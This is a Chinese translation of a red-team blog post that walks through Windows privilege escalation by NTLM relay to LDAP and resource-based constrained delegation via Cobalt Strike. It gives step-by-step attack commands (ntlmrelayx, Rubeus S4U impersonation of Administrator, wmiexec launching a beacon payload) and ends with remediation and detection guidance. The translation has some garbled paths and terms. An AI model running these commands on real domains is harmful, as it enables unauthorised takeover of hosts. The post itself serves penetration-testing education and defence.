备注

原文名称：Red Team Privilege Escalation – RBCD Based Privilege Escalation – Part 2

原文地址：https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/

原文信息：by Adam Crosser on March 11, 2021

---

概要

在第一部分中，我们介绍了我们在红队活动中利用的一种Windows本地权限升级方法，这种方法在安装了许多应用程序（如Citrix）的多用户系统上特别普遍。在第二部分中，我们介绍了另一个常见的本地权限升级漏洞，我们在Windows域环境中利用该漏洞在员工工作站上升级权限。

虽然之前的一些出版物已经记录了对这个问题的利用[1][3][5]，但由于通过Cobalt Strike的信标和微妙的Kerberos协议相关细节进行操作的复杂性，操作者，尤其是更初级的操作者，通常很难利用这个问题。例如，许多现有的指南假设攻击者可以访问另一个内部Linux系统来执行LDAP中继攻击，导致一些操作者认为不可能纯粹通过Cobalt Strike来利用这个问题。

在本文中，我们的目标是描述该漏洞背后的基本前提，以及围绕Cobalt Strike内部的网络中转和代理的许多复杂的复杂性。

本地主机NTLM中继技术概述

在这种情况下，我们利用了这样一个事实，即从一个非特权用户上下文中，我们可以诱导一个以NT AUTHORITYSYSTEM身份运行的本地服务通过HTTP向一个运行在localhost上的攻击者服务执行NTLM认证，使用主机的计算机账户密码进行认证[1]。然后，攻击者可以将该认证尝试转发给LDAP服务，以配置基于资源的约束性授权（RBCD）[6]，允许攻击者控制的用户或计算机账户冒充任何用户到受害者计算机上。Elad Shamir在他的文章《Wagging the Dog.Abusing Resource-Based Constrained Delegation》中对这种攻击背后的理论基础进行了更深入的讨论。Abusing Resource-Based Constrained Delegation to Attack Active Directory"[1]。

Elad Shamir在他的文章 "Gone to the Dogs"[5]中概述了一种通过利用自定义Windows锁屏的能力，以无权用户身份获取 "Computer Account NetNTLM authentication over HTTP "基元的方法。Simone Salucci和Daniel Jimnez随后发布了Change-LockScreen[4]工具，该工具允许通过Cobalt Strike的信标触发基元，而不需要通过RDP或控制台访问与Windows桌面进行手动交互[3]

要成功利用该漏洞，需要满足以下前提条件:

• 运行Windows Server 2012或更新的操作系统的域控制器。
• 攻击者必须能够访问具有服务主名集的用户或计算机账户对象，或者能够向域中添加新的计算机。
• 域控制器必须不被配置为强制执行 LDAP Signing 和 LDAP Channel Binding（默认设置）。
• 受害电脑必须安装并运行 "webclient "服务（Windows 10默认安装）。
• 必须允许用户自定义Windows锁屏（默认权限）。

在随后的章节中，我们将描述操作者完全可以通过Cobalt Strike来利用这个问题的步骤。在我们的示例场景中，攻击者已经成功地对用户JSMITH进行了钓鱼，并因此在CONTOSO.LOCAL域内的DESKTOP-KOERA35上进行了代码执行。在这个例子中，CONTOSO.LOCAL域在运行Windows Server 2019的域控制器上以 "Windows Server 2008 "的域功能级别运行。

通过Cobalt Strike Beacon进行攻击

操作者必须首先在Cobalt Strike中启用和配置SOCKS代理，并在Cobalt Strike团队服务器上安装必要的依赖关系。具体来说，利用这个问题需要在主机上安装代理链、Python 3和Impacket。然后操作者启动一个SOCKS代理，本例中我们利用8889端口，然后在proxychains.conf文件中配置proxychains来利用这个端口。

在配置了SOCKS代理功能后，我们就必须获得一个具有服务主名的用户或计算机账户的访问权，这个账户总是有一个服务主名的设置，因为这是执行S4U Self和S4U Proxy操作所需要的。我们可以利用 "SharpView"[8]工具，用execute-assembly从域对象中读取 "ms-ds-machineaccountquota "属性。下面给出了一个执行这个操作的例子命令。

execute-assembly /home/engineer/hgfs/tools/SharpTeam/SharpView.exe Get-DomainObject -Domain CONTOSO.LOCAL

该命令的预期输出如下图所示。在这种情况下，配置了默认设置，允许任何用户最多加入十台计算机到域中。

然后，我们通过运行 "sc query webclient "命令查询WebClient服务的状态。Windows 10默认包括WebClient服务。下面是执行该命令的输出示例。

然后，我们可以利用Ruben Boonen的StandIn工具创建一个新的计算机账户，我们将使用下面给出的命令来执行我们的中继攻击。在本例中，我们创建一个名为 "DESKTOP-JSMITH "的新计算机账户。

execute-assembly /home/engineer/hgfs/tools/SharpTeam/StandIn.exe --computer DESKTOP-JSMITH --make

运行该命令后的输出结果如下图所示:

假设 "ms-ds-machineaccountquota "设置不允许用户创建一个新的计算机账户。在这种情况下，攻击者有可能试图用通过Kerberoasting配置的服务校长名（SPN）来入侵用户。或者，攻击者可以尝试在他们当前的用户账户上设置一个SPN。活动目录默认不允许这样做；但是，在某些情况下，管理员可以修改默认模式权限以允许这样做。
然后我们可以利用下面的命令来进行LDAP中继攻击。在这种情况下，我们将HTTP监听器配置为监听8080端口。然后，我们指定了"-serve-image "标志，并提供了一张图片的路径，以作为锁屏背景。值得注意的是，如果用户之前没有配置锁屏图像，在利用完成后，该图像将显示在用户的锁屏上。如果用户已经配置了一个自定义的锁屏图像，Change-LockScreen工具将把这个图像恢复到它的原始值。默认的Windows锁屏个性化图像位于C:WindowsWebScreen中。这些图像很可能被利用作为新的锁屏图像而不提醒用户。我们还指定了"-escalate-user "标志，指示ntlmrelayx允许 "DESKTOP-JSMITH "用户对任何中继的计算机账户执行RBCD。我们的目标是192.168.184.135的主机，一个Windows Server 2019域控制器。此外，"-no-validate-privs "选项可以包括在代理连接缓慢的环境中。

sudo proxychains python3 examples/ntlmrelayx.py -t ldap://192.168.184.135 --http-port 8080 --
delegate-access --serve-image wallpaper.jpg --escalate-user 'DESKTOP-JSMITH$' --no-dump --
no-da --no-acl

预期输出如下图所示：

接下来，我们使用rportfwd命令 "rportfwd 80 127.0.0.1 8080 "来打开受害者主机上的80端口，并指示Cobalt Strike将受害者主机上80端口的所有流量转发到Cobalt Strike团队服务器上8080端口的localhost。
然后，我们利用Change-LockScreen[4]工具，通过运行下面给出的命令触发计算机账户认证：

execute-assembly /home/engineer/hgfs/tools/Change-Lockscreen.exe -FullPath
\localhostpictureswallpaper.jpg

rportfwd和Change-LockScreen命令的预期输出如下所示:

然后，当接收到身份验证时，我们可以看到如下所示的输出。在本例中，当前用户帐户JSMITH将首先执行身份验证以获取图像。随后的身份验证将使用计算机帐户密码通过HTTP执行，如下图所示:

接下来，我们利用带有散列子命令的Rubeus实用程序从DESKTOP-JSMITH计算机帐户的密码生成一个AES256密钥。生成的密钥将在后续步骤中用于执行S4U Self和S4U代理操作。Rubeus可以使用下面的命令从生成的计算机帐户名和密码生成AES256密钥:

/
execute-assembly /home/engineer/hgfs/tools/Rubeus.exe hash /password:3UZBahMCcuTMsDF
/user:DESKTOP-JSMITH$ /domain:CONTOSO.LOCAL

该命令的预期输出如下:

然后，我们利用返回的aes256_cts_hmac_sha1密钥执行S4U模拟，使用攻击者控制的“DESKTOP-JSMITH$”计算机帐户为“host/DESKTOP-KOERA35.CONTOSO”的“管理员”用户检索TGS ticket。当地的“SPN。在本例中，对配置了“host”服务的TGS ticket的访问允许我们对Windows Management Instrumentation (WMI)服务进行身份验证并作为模拟用户执行任意代码。需要注意的是，使用RBCD，我们可以模拟任何没有配置为“帐户是敏感的，不能被委托的”[9]的用户。这包括活动目录[9]中的“受保护用户”组中的任何用户。Rubeus可以利用下面给出的命令获取“host/DESKTOP-KOERA35.CONTOSO”的TGS ticket。使用Administrator用户:

```
execute-assembly /home/engineer/hgfs/tools/Rubeus.exe s4u /user:DESKTOP-JSMITH$
/aes256:7FA7441BD35ACAB0EDA6E101720CF090E41A88BFC972EB6B7839BF8FC3D564
99 /impersonateuser:Administrator /msdsspn:host/DESKTOP-KOERA35.CONTOSO.LOCAL
/nowrap

```

命令的预期输出如下所示，其中有一个关键区别。在这个例子中，我们省略了/nowrap标志，以使示例截图中的命令输出更具可读性。

然后，操作者必须将Rubeus生成的ticket格式（一个base64编码字符串，表示kirbi格式的编码TGS ticket）转换为ccache格式，以便与Impacket兼容。幸运的是，Impacket通过利用ticket转换器.py实用程序。操作者可以利用下面给出的命令序列将生成的base64编码的kirbi文件转换为ccache格式。

$ vim administrator.kirbi.<span class="knowKeyWords" data-id="18" >base64</span>
$ cat administrator.kirbi.<span class="knowKeyWords" data-id="18" >base64</span> | <span class="knowKeyWords" data-id="18" >base64</span> --decode > administrator.kirbi
$ python3 examples/ticketConverter.py administrator.kirbi administrator.ccache

在执行这些命令时，操作者可以期望看到类似于下图所示的输出:

接下来，我们必须修改proxychains中的proxyresolv配置，以支持内部域名的解析。使用Kerberos需要进行此更改。在Ubuntu中，proxyresolv脚本的默认位置是“/usr/lib/proxychains3/proxyresolv”。默认配置的主要修改如下:

• 我们修改“DNS_SERVER=”行以指向一个CONTOSO。用于名称解析的本地域控制器
• 我们修改dig命令，使用" grep -v ' <<>> ' "删除默认模板中awk语句遗漏的多余字符。

在测试过程中，我们发现用于过滤dig输出的awk语句没有正确过滤dig在解析内部域名如CONTOSO.LOCAL时打印的"<<>>"字符串。虽然这个问题的原因还不清楚，但修改命令以从输出中排除这个字符串就可以解决这个问题。

```

!/bin/sh

This script is called by proxychains to resolve DNS names

DNS server used to resolve names

DNS_SERVER=192.168.184.135
if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv "
exit
fi
export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+.[0-9]+.[0-9]/{print $5;}' | grep -v '<<>>'
```

在将ticker转换为适当的格式并配置代理链后，我们现在可以利用所获得的TGS ticket来冒充 "Administrator "域名管理员账户，以利用Impacket的主机。不幸的是，我们必须将Impacket代理到DESKTOP-KOERA35主机上，以触发使用TGS ticket的网络登录，因为执行从主机到自身的传递ticket攻击似乎不会产生利用与用户登录会话相关的TGS ticket的网络登录事件。这一观察到的现象将在随后的章节 "与Kerberos相关的常见错误 "中讨论。
为了利用Impacket获得的TGS ticket，我们首先设置KRB5CCNAME环境变量，使其指向磁盘上的ticket路径。然后，我们利用下面的命令和代理链，用Impacket对主机进行网络认证，并在 "C:ProgramDatabeacon.exe "中执行一个信标有效载荷。利用-k标志来指示Impacket进行Kerberos认证。

$ export KRB5CCNAME=administrator.ccache
$ proxychains python3 examples/wmiexec.py -k -no-pass
contoso.local/[email protected]
'C:ProgramDatabeacon.exe'

下图显示了身份验证和后续执行信标负载时的预期输出:

在此实例中，操作员接收到一个回调，指示以管理员用户身份在高完整性模式下运行的信标已成功执行。检查与生成的信标关联的权限，可以看到我们现在在主机上拥有管理权限，如下所示:

现在，我们可以使用“SOCKS stop”和“rportfwd stop 80”命令关闭SOCKS代理和远程端口转发，如下所示，这样利用就完成了。攻击者可能希望以管理员用户的身份在主机上建立持久性，并删除相关的RBCD配置，以避免在环境中留下配置更改的残余。

常见的与Kerberos有关的错误

试图执行 "Pass the Ticket "或其他基于 Kerberos 的攻击的操作者常犯的错误是指定 IP 地址或缩写的主机名，而不是在服务主名称中指定的值（通常是完整的非缩写的主机名）。这个错误显示在下面的图片中。操作员指定了IP地址（192.168.184.144），而不是与生成的TGS票据（DESKTOP-KOERA35.CONTOSO.LOCAL）相关的服务主体名称中指定的完整主机名。

我们观察到的另一个常见错误是，操作员可能试图从使用Rubeus的主机上生成一个新的信标，将执行S4U时检索到的TGS票据导入他们当前的登录会话。虽然这种技术在针对其他主机时有效，但在试图从同一主机使用WMI执行信标时，似乎没有执行 "全网络登录"。相反，与该进程相关的安全令牌被利用了。这种结果显示在下面的图片中。尽管 "管理员 "用户的TGS令牌与他们的登录会话有关，但二级信标以 "JSMITH "用户的身份生成。为了避免遇到这个问题，我们必须通过使用SOCKS来代理Impacket到主机来执行一个完整的网络登录。

修复指南

禁用对msDS-AllowedToActOnBehalfOfOtherIdentity字段的写访问，似乎是一个有效的权宜之计，以阻碍利用[1] 。然而，这种控制并不能有效地补救LDAP中继攻击的一般情况，只有计算机账户接管的情况。强制执行LDAP签名和LDAP通道绑定是最有效的长期措施，以普遍补救LDAP中继攻击的风险[7]。

还存在一个充分的机会来实现高保真检测，重点是检测基于资源的受限委托或LDAP中继攻击。在一些环境中，额外的检测措施可能比实施进一步的技术控制更可取。例如，一个组织可能利用许多不支持LDAP签名或LDAP通道绑定的第三方应用程序，使补救措施变得困难。

防御者可以考虑实施一个新的系统审计控制列表（SACL），旨在检测对 "msDS-AllowedToActOnBehalfOfOtherIdentity "字段的写入。在大多数环境中，基于资源的限制性委托的合法使用情况是相当罕见的。此外，Kerberos委托，包括RBCD，通常只被服务器使用，所以防御者应该仔细考虑雇员工作站计算机账户对 "msDS-AllowedToActOnBehalfOfOtherIdentity "属性的任何修改。

截至2020年3月，微软还支持启用一个可选的审计设置来审计LDAP签名和LDAP通道绑定[10]。事件ID2889和事件ID3039可以被用来识别在没有利用通道绑定或LDAP签名的情况下验证LDAP的系统[10]。防御者可能会建立一个运行第三方应用程序而不支持这些措施的已知主机列表。任何偏离这个已知基线的情况都可以被调查，以确定潜在的LDAP中继攻击。

结尾

本文介绍了基于资源的限制性授权（RBCD）在与适当的认证原语相结合时允许本地权限升级（以及潜在的远程代码执行）的方法。我们还介绍了运营商可以使用Cobalt Strike执行网络透视的标准方法。对于从内部渗透测试过渡到红队行动的工程师来说，这个领域经常很棘手，因为通过Cobalt Strike而不是客户提供的基于Linux的跳跃主机使用这些工具很复杂。

这篇文章并没有提出任何新颖或未发表的技术。相反，我们主要关注的是攻击者如何通过Cobalt Strike完全操作这种技术，同时解决红队活动中经常出现的操作限制。

参考文献

[1]https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[2]https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks
[3]https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
[4]https://github.com/nccgroup/Change-Lockscreen
[5]https://eladshamir.com/2019/08/08/Lock-Screen-LPE.html
[6]https://petri.com/understanding-kerberos-delegation-in-windows-server-active-directory
[7]https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a
[8]https://github.com/tevora-threat/SharpView
[9]https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
[10]https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/ldap-channel-binding-and-ldap-signing-requirements-march-2020/ba-p/921536

相关推荐: MyBatis和MyBatis可能导致的sql注入

MyBatis简介 MyBatis 是一款优秀的持久层框架，它支持定制化 SQL、存储过程以及高级映射。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息，将接口和 …